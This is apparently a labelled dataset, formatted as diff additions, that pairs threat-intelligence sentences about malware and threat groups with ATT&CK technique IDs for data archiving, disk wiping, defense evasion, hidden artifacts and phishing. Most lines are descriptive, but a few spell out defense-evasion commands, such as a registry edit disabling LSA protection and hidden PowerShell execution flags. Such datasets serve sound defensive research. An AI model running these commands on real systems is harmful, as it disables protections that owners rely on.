+ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.	['T1560']
+APT32's backdoor has used LZMA compression and RC4 encryption before exfiltration.	['T1560']
+AppleSeed has compressed collected data before exfiltration.	['T1560']
+Aria-body has used ZIP to compress data gathered on a compromised host.	['T1560']
+BLUELIGHT can zip files before exfiltration.	['T1560']
+Backdoor.Oldrea writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.	['T1560']
+BloodHound can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk.	['T1560']
+Bumblebee can compress data stolen from the Registry and volume shadow copies prior to exfiltration.	['T1560']
+Cadelspy has the ability to compress stolen data into a .cab file.	['T1560']
+Chrommme can encrypt and store on disk collected data before exfiltration.	['T1560']
+Daserf hides collected data in password-protected .rar archives.	['T1560', 'T1560.001']
+Dragonfly 2.0 compressed data into .zip files prior to exfiltrating it.	['T1560']
+Dragonfly has compressed data into .zip files prior to exfiltration.	['T1560']
+Emotet has been observed encrypting the data it collects before sending it to the C2 server.	['T1560']
+Empire can ZIP directories on the target system.	['T1560']
+Epic encrypts collected data using a public key framework before sending it over the C2 channel. Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.	['T1560']
+FELIXROOT encrypts collected data with AES and Base64 and then sends it to the C2 server.	['T1560']
+Following data collection, FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration.	['T1560']
+Gold Dragon encrypts data using Base64 before being sent to the command and control server.	['T1560']
+KONNI has encrypted data and files prior to exfiltration.	['T1560']
+Kessel can RC4-encrypt credentials before sending to the C2.	['T1560']
+Lazarus Group has compressed exfiltrated data with RAR and used RomeoDelta malware to archive specified directories in .zip format, encrypt the .zip file, and upload it to C2.	['T1560']
+LightNeuron contains a function to encrypt and store emails that it collects.	['T1560']
+Lizar has encrypted data before sending it to the server.	['T1560']
+Lurid can compress data before sending it.	['T1560']
+NETWIRE has the ability to compress archived screenshots.	['T1560']
+Patchwork encrypted the collected files' path with AES and then encoded them with base64.	['T1560']
+PowerLess can encrypt browser database files prior to exfiltration.	['T1560']
+Proton zips up files before exfiltrating them.	['T1560']
+ShimRatReporter used LZ compression to compress initial reconnaissance reports before sending to the C2.	['T1560']
+"TAINTEDSCRIBE has used ""FileReadZipSend"" to compress a file and send to C2."	['T1560']
+VERMIN encrypts the collected files using 3-DES.	['T1560']
+WellMail can archive files on the compromised host.	['T1560']
+"XCSSET will compress entire ""~/Desktop"" folders excluding all "".git"" folders, but only if the total data size is under 200MB."	['T1560']
+Zebrocy  has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration.	['T1560']
+menuPass has encrypted files and information before exfiltration.	['T1560']
+APT1 has used RAR to compress files before moving them outside of the victim network.	['T1560.001']
+APT3 has used tools to compress data before exfilling it.	['T1560.001']
+APT39 has used WinRAR and 7-Zip to compress an archive stolen data.	['T1560.001']
+APT41 created a RAR archive of targeted files for exfiltration.	['T1560.001']
+Aquatic Panda has used WinRAR to compress memory dumps prior to exfiltration.	['T1560.001']
+BRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration.	['T1560.001']
+"Calisto uses the ""zip -r"" command to compress the data collected on the local system."	['T1560.001']
+Chimera has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts.	['T1560.001']
+CopyKittens uses ZPP, a .NET console program, to compress files with ZIP.	['T1560.001']
+Crutch has used the WinRAR utility to compress and encrypt stolen files.	['T1560.001']
+During FunnyDream, the threat actors used 7zr.exe to add collected files to an archive.	['T1560.001']
+During Operation CuckooBees, the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration.	['T1560.001']
+During Operation Honeybee, the threat actors uses zip to pack collected files before exfiltration.	['T1560.001']
+During Operation Wocao, threat actors archived collected files with WinRAR, prior to exfiltration.	['T1560.001']
+DustySky can compress files via RAR while staging data to be exfiltrated.	['T1560.001']
+Fox Kitten has used 7-Zip to archive data.	['T1560.001']
+GALLIUM used WinRAR to compress and encrypt stolen data prior to exfiltration.	['T1560.001']
+HAFNIUM has used 7-Zip and WinRAR to compress stolen files for exfiltration.	['T1560.001']
+IceApple can encrypt and compress files using Gzip prior to exfiltration.	['T1560.001']
+InvisiMole uses WinRAR to compress data that is intended to be exfiltrated.	['T1560.001']
+Ke3chang is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration.	['T1560.001']
+Kimsuky has used QuickZip to archive stolen files before exfiltration.	['T1560.001']
+Micropsia creates a RAR archive based on collected files on the victim's machine.	['T1560.001']
+MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.	['T1560.001']
+Mustang Panda has used RAR to create password-protected archives of collected documents prior to exfiltration.	['T1560.001']
+Octopus has compressed data before exfiltrating it using a tool called Abbrevia.	['T1560.001']
+OopsIE compresses collected files with GZipStream before sending them to its C2 server.	['T1560.001']
+PUNCHBUGGY has Gzipped information and saved it to a random temp file before exfil.	['T1560.001']
+PoetRAT has the ability to compress files with zip.	['T1560.001']
+PoshC2 contains a module for compressing data using ZIP.	['T1560.001']
+PowerShower has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.	['T1560.001']
+Pupy can compress data with Zip before sending it over C2.	['T1560.001']
+Ramsay can compress and archive collected files using WinRAR.	['T1560.001']
+Turian can use WinRAR to create a password-protected archive for files of interest.	['T1560.001']
+UNC2452 used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.	['T1560.001']
+WindTail has the ability to use the macOS built-in zip utility to archive files.	['T1560.001']
+iKitten will zip up the /Library/Keychains directory before exfiltrating it.	['T1560.001']
+BADFLICK has compressed data using the aPLib compression library.	['T1560.002']
+Epic compresses the collected data with bzip2 before sending it to the C2 server.	['T1560.002']
+Gelsemium can compress embedded executables with the zlib library.	['T1560.002']
+InvisiMole can use zlib to compress and decompress data.	['T1560.002']
+TajMahal has the ability to use the open source libraries XZip/Xunzip and zlib to compress files.	['T1560.002']
+Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.	['T1560.002']
+ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.	['T1560.003']
+Agent.btz saves system information into an XML file that is then XOR-encoded.	['T1560.003']
+BLUELIGHT has encoded data into a binary blob using XOR.	['T1560.003']
+CopyKittens encrypts data with a substitute cipher prior to exfiltration.	['T1560.003']
+FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.	['T1560.003']
+FunnyDream has compressed collected files with zLib and encrypted them using an XOR operation with the string key from the command line or `qwerasdf` if the command line argument doesn’t contain the key. File names are obfuscated using XOR with the same key as the compressed file content.	['T1560.003']
+HAWKBALL has encrypted data with XOR before sending it over the C2 channel.	['T1560.003']
+InvisiMole uses a variation of the XOR cipher to encrypt files before exfiltration.	['T1560.003']
+MESSAGETAP has XOR-encrypted and stored contents of SMS messages that matched its target list.	['T1560.003']
+Machete's collected data is encrypted with AES before exfiltration.	['T1560.003']
+Okrum has used a custom implementation of AES encryption to encrypt collected data.	['T1560.003']
+OopsIE compresses collected files with a simple character replacement scheme before sending them to its C2 server.	['T1560.003']
+OwaAuth DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.	['T1560.003']
+RGDoor encrypts files with XOR before sending them back to the C2 server.	['T1560.003']
+Ramsay can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR.	['T1560.003']
+Reaver encrypts collected data with an incremental XOR key prior to exfiltration.	['T1560.003']
+Rising Sun can archive data using RC4 encryption and Base64 encoding prior to exfiltration.	['T1560.003']
+SombRAT has encrypted collected data with AES-256 using a hardcoded key.	['T1560.003']
+Squirrelwaffle has encrypted collected data using a XOR-based algorithm.	['T1560.003']
+StrongPity can compress and encrypt archived files into multiple .sft files with a repeated xor encryption scheme.	['T1560.003']
+Stuxnet encrypts exfiltrated data via C2 with static 31-byte long XOR keys.	['T1560.003']
+HermeticWiper has the ability to corrupt disk partitions and obtain raw disk access to destroy data.	['T1561.001']
+"MegaCortex can wipe deleted data from all drives using ""cipher.exe""."	['T1561.001']
+RawDisk has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.	['T1561.001']
+StoneDrill can wipe the accessible physical or logical drives of the infected machine.	['T1561.001']
+WhisperGate can overwrite sectors of a victim host's hard drive at periodic offsets.	['T1561.001']
+APT37 has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).	['T1561.002']
+APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable.	['T1561.002']
+CaddyWiper has the ability to destroy information about a physical drive's partitions including the MBR, GPT, and partition entries.	['T1561.002']
+HermeticWiper has the ability to corrupt disk partitions, damage the Master Boot Record (MBR), and overwrite the Master File Table (MFT) of all available physical drives.	['T1561.002']
+KillDisk overwrites the first sector of the Master Boot Record with “0x00”.	['T1561.002']
+Lazarus Group malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.	['T1561.002']
+Sandworm Team has used the BlackEnergy KillDisk component to corrupt the infected system's master boot record.	['T1561.002']
+Shamoon has been seen overwriting features of disk structure such as the MBR.	['T1561.002']
+WhisperGate can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader.	['T1561.002']
+"Magic Hound has disabled LSA protection on compromised hosts using `""reg"" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f`."	['T1562']
+Stuxnet reduces the integrity level of objects to allow write actions.	['T1562']
+APT29 used the service control manager on a remote system to disable services associated with security monitoring products.	['T1562.001']
+Agent Tesla has the capability to kill any running analysis processes and AV software.	['T1562.001']
+Aquatic Panda has attempted to stop endpoint detection and response (EDR) tools on compromised systems.	['T1562.001']
+BRONZE BUTLER has incorporated code into several tools that attempts to terminate anti-virus processes.	['T1562.001']
+Babuk can stop anti-virus services on a compromised host.	['T1562.001']
+Brave Prince terminates antimalware processes.	['T1562.001']
+Carberp has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.	['T1562.001']
+ChChes can alter the victim's proxy configuration.	['T1562.001']
+Clop can uninstall or disable security products.	['T1562.001']
+Cobalt Strike has the ability to use Smart Applet attacks to disable the Java SecurityManager sandbox.	['T1562.001']
+Conficker terminates various services related to system security and Windows.	['T1562.001']
+DarkComet can disable Security Center functions like anti-virus.	['T1562.001']
+Diavol can attempt to stop security software.	['T1562.001']
+Donut can patch Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), as well as exit-related Native API functions to avoid process termination.	['T1562.001']
+During Night Dragon, threat actors disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors also disabled proxy settings to allow direct communication from victims to the Internet.	['T1562.001']
+Ebury can disable SELinux Role-Based Access Control and deactivate PAM modules.	['T1562.001']
+Egregor has disabled Windows Defender to evade protections.	['T1562.001']
+"FIN6 has deployed a utility script named ""kill.bat"" to disable anti-virus."	['T1562.001']
+Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings.	['T1562.001']
+Gold Dragon terminates anti-malware processes if they’re found running on the system.	['T1562.001']
+Goopy has the ability to disable Microsoft Outlook's security policies to disable macro warnings.	['T1562.001']
+Grandoreiro can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.	['T1562.001']
+H1N1 kills and disables services for Windows Security Center, and Windows Defender.	['T1562.001']
+HDoor kills anti-virus found on the victim.	['T1562.001']
+Hildegard has modified DNS resolvers to evade DNS monitoring tools.	['T1562.001']
+Imminent Monitor has a feature to disable Windows Task Manager.	['T1562.001']
+Indrik Spider used PsExec to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.	['T1562.001']
+JPIN can lower security settings by changing Registry keys.	['T1562.001']
+KOCTOPUS will attempt to delete or disable all Registry keys and scheduled tasks related to Microsoft Security Defender and Security Essentials.	['T1562.001']
+Kimsuky has been observed turning off Windows Security Center and can hide the AV software window from the view of the infected user.	['T1562.001']
+Lazarus Group malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, Lazarus Group malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services..	['T1562.001']
+Metamorfo has a function to kill processes associated with defenses and can prevent certain processes from launching.	['T1562.001']
+Meteor can attempt to uninstall Kaspersky Antivirus or remove the Kaspersky license; it can also add all files and folders related to the attack to the Windows Defender exclusion list.	['T1562.001']
+MuddyWater can disable the system's local proxy settings.	['T1562.001']
+NanHaiShu can change Internet Explorer settings to reduce warnings about malware activity.	['T1562.001']
+NanoCore can modify the victim's anti-virus.	['T1562.001']
+Night Dragon has disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.	['T1562.001']
+POWERSTATS can disable Microsoft Office Protected View by changing Registry keys.	['T1562.001']
+Proton kills security tools like Wireshark that are running.	['T1562.001']
+Pysa has the capability to stop antivirus services and disable Windows Defender.	['T1562.001']
+QakBot has the ability to modify the Registry to add its binaries to the Windows Defender exclusion list.	['T1562.001']
+REvil can connect to and disable the Symantec server on the victim's network.	['T1562.001']
+Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products.	['T1562.001']
+RobbinHood will search for Windows services that are associated with antivirus software on the system and kill the process.	['T1562.001']
+Ryuk has stopped services related to anti-virus.	['T1562.001']
+SILENTTRINITY's `amsiPatch.py` module can disable Antimalware Scan Interface (AMSI) functions.	['T1562.001']
+SUNBURST attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.	['T1562.001']
+Skidmap has the ability to set SELinux to permissive mode.	['T1562.001']
+SslMM identifies and kills anti-malware processes.	['T1562.001']
+TA505 has used malware to disable Windows Defender.	['T1562.001']
+TeamTNT has disabled and uninstalled security tools such as Alibaba, Tencent, and BMC cloud monitoring agents on cloud-based infrastructure.	['T1562.001']
+TinyZBot can disable Avira anti-virus.	['T1562.001']
+TrickBot can disable Windows Defender.	['T1562.001']
+Turla has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products.	['T1562.001']
+UNC2452 used the service control manager on a remote system to disable services associated with security monitoring products.	['T1562.001']
+Unknown Logger has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.	['T1562.001']
+WarzoneRAT can disarm Windows Defender during the UAC process to evade detection.	['T1562.001']
+WhisperGate can download and execute AdvancedRun.exe to disable the Windows Defender Theat Protection service and set an exclusion path for the C:\ drive.	['T1562.001']
+Wizard Spider has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.	['T1562.001']
+ZxShell can kill AV products' processes.	['T1562.001']
+macOS.OSAMiner has searched for the Activity Monitor process in the System Events process list and kills the process if running. macOS.OSAMiner also searches the operating system's `install.log` for apps matching its hardcoded list, killing all matching process names.	['T1562.001']
+"APT29 used ""AUDITPOL"" to prevent the collection of audit logs."	['T1562.002']
+Sandworm Team has disabled event logging on compromised systems.	['T1562.002']
+"UNC2452 used ""AUDITPOL"" to prevent the collection of audit logs."	['T1562.002']
+Wevtutil can be used to disable specific event logs on the system.	['T1562.002']
+"APT29 used ""netsh"" to configure firewall rules that limited certain UDP outbound packets."	['T1562.004']
+APT38 have created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443.	['T1562.004']
+Carbanak may use netsh to add local firewall rule exceptions.	['T1562.004']
+Dragonfly has disabled host-based firewalls. The group has also globally opened port 3389.	['T1562.004']
+During Operation Wocao, threat actors used PowerShell to add and delete rules in the Windows firewall.	['T1562.004']
+Grandoreiro can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.	['T1562.004']
+HARDRAIN opens the Windows Firewall to modify incoming connections.	['T1562.004']
+HOPLIGHT has modified the firewall using netsh.	['T1562.004']
+InvisiMole has a command to disable routing and the Firewall on the victim’s machine.	['T1562.004']
+Kasidet has the ability to change firewall settings to allow a plug-in to be downloaded.	['T1562.004']
+Moses Staff has used batch scripts that can disable the Windows firewall on specific remote machines.	['T1562.004']
+NanoCore can modify the victim's firewall.	['T1562.004']
+Operation Wocao has used PowerShell to add and delete rules in the Windows firewall.	['T1562.004']
+Remsec can add or remove applications or ports on the Windows firewall or disable it entirely.	['T1562.004']
+Rocke used scripts which killed processes and added firewall rules to block traffic related to other cryptominers.	['T1562.004']
+"TeamTNT has disabled ""iptables""."	['T1562.004']
+"The ""ZR"" variant of BACKSPACE will check to see if known host-based firewalls are installed on the infected systems. BACKSPACE will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed."	['T1562.004']
+njRAT has modified the Windows firewall to allow itself to communicate through the firewall.	['T1562.004']
+"Waterbear can hook the ""ZwOpenProcess"" and ""GetExtendedTcpTable"" APIs called by the process of a security product to hide PIDs and TCP records from detection."	['T1562.006']
+Axiom has targeted victims with remote administration tools including RDP.	['T1563.002']
+WannaCry enumerates current remote desktop sessions and tries to execute the malware on each session.	['T1563.002']
+"Bundlore uses the ""mktemp"" utility to make unique file and directory names for payloads, such as ""TMP_DIR=`mktemp -d -t x""."	['T1564']
+"OSX/Shlayer has used the ""mktemp"" utility to make random and unique filenames for payloads, such as ""export tmpDir=""$(mktemp -d /tmp/XXXXXXXXXXXX)"""" or ""mktemp -t Installer""."	['T1564']
+APT32's macOS backdoor hides the clientID file via a chflags function.	['T1564.001']
+"AppleJeus has added a leading ""."" to plist filenames, unlisting them from the Finder app and default Terminal directory listings."	['T1564.001']
+Attor can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.	['T1564.001']
+Before exfiltration, Okrum's backdoor has used hidden files to store logs and outputs from backdoor commands.	['T1564.001']
+Carberp has created a hidden file in the Startup folder of the current user.	['T1564.001']
+Clambling has the ability to set its file attributes to hidden.	['T1564.001']
+EnvyScout can use hidden directories and files to hide malicious executables.	['T1564.001']
+Explosive has commonly set file and path attributes to hidden.	['T1564.001']
+"FruitFly saves itself with a leading ""."" to make it a hidden file."	['T1564.001']
+Imminent Monitor has a dynamic debugging feature to set the file attribute to hidden.	['T1564.001']
+InvisiMole can create hidden system directories.	['T1564.001']
+Lazarus Group has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application.	['T1564.001']
+"LoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to ""hidden""."	['T1564.001']
+"MacSpy stores itself in ""~/Library/.DS_Stores/"""	['T1564.001']
+Machete has the capability to exfiltrate stolen data to a hidden folder on a removable drive.	['T1564.001']
+"Mustang Panda's PlugX variant has created a hidden folder on USB drives named ""RECYCLE.BIN"" to store malicious executables and collected data."	['T1564.001']
+NETWIRE can copy itself to and launch itself from hidden folders.	['T1564.001']
+OSX/Shlayer has executed a .command script from a hidden directory in a mounted DMG.	['T1564.001']
+OSX_OCEANLOTUS.D sets the main loader file’s attributes to hidden.	['T1564.001']
+PlugX can modify the characteristics of folders to hide them from the compromised user.	['T1564.001']
+PoetRAT has the ability to hide and unhide files.	['T1564.001']
+"QuasarRAT has the ability to set file attributes to ""hidden"" to hide files from the compromised user's view in Windows File Explorer."	['T1564.001']
+Rising Sun can modify file attributes to hide files.	['T1564.001']
+"Rocke downloaded a file ""libprocesshider"", which could hide files on the target system."	['T1564.001']
+SLOTHFULMEDIA has been created with a hidden attribute to insure it's not visible to the victim.	['T1564.001']
+"The Komplex payload is stored in a hidden directory at ""/Users/Shared/.local/kextd""."	['T1564.001']
+"ThiefQuest hides a copy of itself in the user's ""~/Library"" directory by using a ""."" at the beginning of the file name followed by 9 random characters."	['T1564.001']
+"Tropic Trooper has created a hidden directory under ""C:\ProgramData\Apple\Updates\"" and ""C:\Users\Public\Documents\Flash\""."	['T1564.001']
+"WannaCry uses ""attrib +h"" to make some of its files hidden."	['T1564.001']
+"WastedLocker has copied a random file from the Windows System32 folder to the ""%APPDATA%"" location under a different hidden filename."	['T1564.001']
+"XCSSET uses a hidden folder named "".xcassets"" and "".git"" to embed itself in Xcode."	['T1564.001']
+ccf32 has created a hidden directory on targeted systems, naming it after the current local time (year, month, and day).	['T1564.001']
+"iKitten saves itself with a leading ""."" so that it's hidden from users by default."	['T1564.001']
+Dragonfly 2.0 modified the Registry to hide create user accounts.	['T1564.002']
+"APT3 has been known to use ""-WindowStyle Hidden"" to conceal PowerShell windows."	['T1564.003']
+APT32 has used the WindowStyle parameter to conceal PowerShell windows.	['T1564.003']
+"Agent Tesla has used ""ProcessWindowStyle.Hidden"" to hide windows."	['T1564.003']
+"BONDUPDATER uses ""-windowstyle hidden"" to conceal a PowerShell window that downloads a payload."	['T1564.003']
+"CopyKittens has used ""-w hidden"" and ""-windowstyle hidden"" to conceal PowerShell windows."	['T1564.003']
+Cuba has executed hidden PowerShell windows.	['T1564.003']
+"DarkHydrus has used ""-WindowStyle Hidden"" to conceal PowerShell windows."	['T1564.003']
+"Deep Panda has used ""-w hidden"" to conceal PowerShell windows by setting the WindowStyle parameter to hidden."	['T1564.003']
+"Gamaredon Group has used ""hidcon"" to run batch files in a hidden console window."	['T1564.003']
+"Gorgon Group has used ""-W Hidden"" to conceal PowerShell windows by setting the WindowStyle parameter to hidden."	['T1564.003']
+"HAMMERTOSS has used ""-WindowStyle hidden"" to conceal PowerShell windows."	['T1564.003']
+"KOCTOPUS has used ""-WindowsStyle Hidden"" to hide the command window."	['T1564.003']
+Kevin can hide the current window from the targeted user via the `ShowWindow` API function.	['T1564.003']
+"KeyBoy uses ""-w Hidden"" to conceal a PowerShell window that downloads a payload."	['T1564.003']
+Kimsuky has used an information gathering module that will hide an AV software window from the victim.	['T1564.003']
+Kivars has the ability to conceal its activity through hiding active windows.	['T1564.003']
+"Koadic has used the command ""Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden"" to hide its window."	['T1564.003']
+Metamorfo has hidden its GUI using the ShowWindow() WINAPI call.	['T1564.003']
+Nomadic Octopus executed PowerShell in a hidden window.	['T1564.003']
+QuasarRAT can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A` though QuasarRAT can only be run on Windows systems.	['T1564.003']
+QuietSieve has the ability to execute payloads in a hidden window.	['T1564.003']
+SILENTTRINITY has the ability to set its window state to hidden.	['T1564.003']
+Ursnif droppers have used COM properties to execute malware in hidden windows.	['T1564.003']
+APT32 used NTFS alternate data streams to hide their payloads.	['T1564.004']
+"BitPaymer has copied itself to the "":bin"" alternate data stream of a newly created file."	['T1564.004']
+Expand can be used to download or copy a file into an alternate data stream.	['T1564.004']
+Gazer stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.	['T1564.004']
+LoJax has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.	['T1564.004']
+PowerDuke hides many of its backdoor payloads in an alternate data stream (ADS).	['T1564.004']
+Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.	['T1564.004']
+The Regin malware platform uses Extended Attributes to store encrypted executables.	['T1564.004']
+Valak has the ability save and execute files as alternate data streams (ADS).	['T1564.004']
+WastedLocker has the ability to save and execute files as an alternate data stream (ADS).	['T1564.004']
+esentutl can be used to read and write alternate data streams.	['T1564.004']
+BOOTRASH has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit.	['T1564.005']
+ComRAT has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.	['T1564.005']
+Regin has used a hidden file system to store some of its components.	['T1564.005']
+Strider has used a hidden file system that is stored as a file on disk.	['T1564.005']
+Ragnar Locker has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables Ragnar Locker to encrypt files on the host operating system, including files on any mapped drives.	['T1564.006']
+"FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked,"" ""phish,"" and “malware"" in a likely attempt to prevent organizations from communicating about their activities."	['T1564.008']
+Keydnap uses a resource fork to present a macOS JPEG or text file icon rather than the executable's icon assigned by the operating system.	['T1564.009']
+OSX/Shlayer has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners.	['T1564.009']
+Cobalt Strike can use spoof arguments in spawned processes that execute beacon commands.	['T1564.010']
+SombRAT has the ability to modify its process memory to hide process command-line arguments.	['T1564.010']
+APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.	['T1565.001']
+"SUNSPOT created a copy of the SolarWinds Orion software source file with a "".bk"" extension to backup the original content, wrote SUNBURST using the same filename but with a "".tmp"" extension, and then moved SUNBURST using ""MoveFileEx"" to the original filename with a "".cs"" extension so it could be compiled within Orion software."	['T1565.001']
+APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer.	['T1565.002']
+Melcoz can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.	['T1565.002']
+Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.	['T1565.002']
+APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.	['T1565.003']
+Axiom has used spear phishing to initially compromise victims.	['T1566']
+Dragonfly has used spearphising campaigns to gain access to victims.	['T1566']
+Hikit has been spread through spear phishing.	['T1566']
+APT-C-36 has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.	['T1566.001']
+APT1 has sent spearphishing emails containing malicious attachments.	['T1566.001']
+APT28 sent spearphishing emails containing malicious Microsoft Office and RAR attachments.	['T1566.001']
+APT30 has used spearphishing emails with malicious DOC attachments.	['T1566.001']
+APT32 has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.	['T1566.001']
+APT37 delivers malware using spearphishing emails with malicious HWP attachments.	['T1566.001']
+APT38 has conducted spearphishing campaigns using malicious email attachments.	['T1566.001']
+APT39 leveraged spearphishing emails with malicious attachments to initially compromise victims.	['T1566.001']
+APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.	['T1566.001']
+Ajax Security Team has used personalized spearphishing attachments.	['T1566.001']
+Andariel has conducted spearphishing campaigns that included malicious Word or Excel attachments.	['T1566.001']
+BLINDINGCAN has been delivered by phishing emails containing malicious Microsoft Office documents.	['T1566.001']
+BRONZE BUTLER used spearphishing emails with malicious Microsoft Word attachments to infect victims.	['T1566.001']
+Bandook is delivered via a malicious Word document inside a zip file.	['T1566.001']
+Bisonal has been delivered as malicious email attachments.	['T1566.001']
+BlackTech has used spearphishing e-mails with malicious password-protected archived files (ZIP or RAR) to deliver malware.	['T1566.001']
+Bumblebee has gained execution through luring users into opening malicious attachments.	['T1566.001']
+Chaes has been delivered by sending victims a phishing email containing a malicious .docx file.	['T1566.001']
+Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.	['T1566.001']
+DanBot has been distributed within a malicious Excel attachment via spearphishing emails.	['T1566.001']
+DarkHydrus has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.	['T1566.001']
+DarkWatchman has been delivered via spearphishing emails that contain a malicious zip file.	['T1566.001']
+Dragonfly 2.0 used spearphishing with Microsoft Office attachments to target victims.	['T1566.001']
+During Operation Dust Storm, the threat actors sent spearphishing emails that contained a malicious Microsoft Word document.	['T1566.001']
+Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.	['T1566.001']
+Ember Bear has sent spearphishing emails containing malicious attachments in the form of PDFs, Word documents, JavaScript files, and Control Panel File (CPL) executables.	['T1566.001']
+Emotet has been delivered by phishing emails containing attachments.	['T1566.001']
+EnvyScout has been distributed via spearphishing as an email attachment.	['T1566.001']
+FIN7 sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.	['T1566.001']
+FIN8 has distributed targeted emails containing Word documents with embedded malicious macros.	['T1566.001']
+Ferocious Kitten has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.	['T1566.001']
+Flagpro has been distributed via spearphishing as an email attachment.	['T1566.001']
+For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.	['T1566.001']
+Frankenstein has used spearphishing emails to send trojanized Microsoft Word documents.	['T1566.001']
+Gallmaker sent emails with malicious Microsoft Office documents attached.	['T1566.001']
+Gamaredon Group has delivered spearphishing emails with malicious attachments to targets.	['T1566.001']
+Gorgon Group sent emails to victims with malicious Microsoft Office documents attached.	['T1566.001']
+Hancitor has been delivered via phishing emails with malicious attachments.	['T1566.001']
+IcedID has been delivered via phishing e-mails with malicious attachments.	['T1566.001']
+IndigoZebra sent spearphishing emails containing malicious password-protected RAR attachments.	['T1566.001']
+JSS Loader has been delivered by phishing emails containing malicious Microsoft Excel attachments.	['T1566.001']
+Javali has been delivered as malicious e-mail attachments.	['T1566.001']
+KOCTOPUS has been distributed via spearphishing emails with malicious attachments.	['T1566.001']
+Kerrdown has been distributed through malicious e-mail attachments.	['T1566.001']
+Kimsuky has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.	['T1566.001']
+Lokibot is delivered via a malicious XLS attachment contained within a spearhpishing email.	['T1566.001']
+Metamorfo has been delivered to victims via emails with malicious HTML attachments.	['T1566.001']
+Mofang delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.	['T1566.001']
+OceanSalt has been delivered via spearphishing emails with Microsoft Office attachments.	['T1566.001']
+OilRig has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.	['T1566.001']
+OutSteel has been distributed as a malicious attachment within a spearphishing email.	['T1566.001']
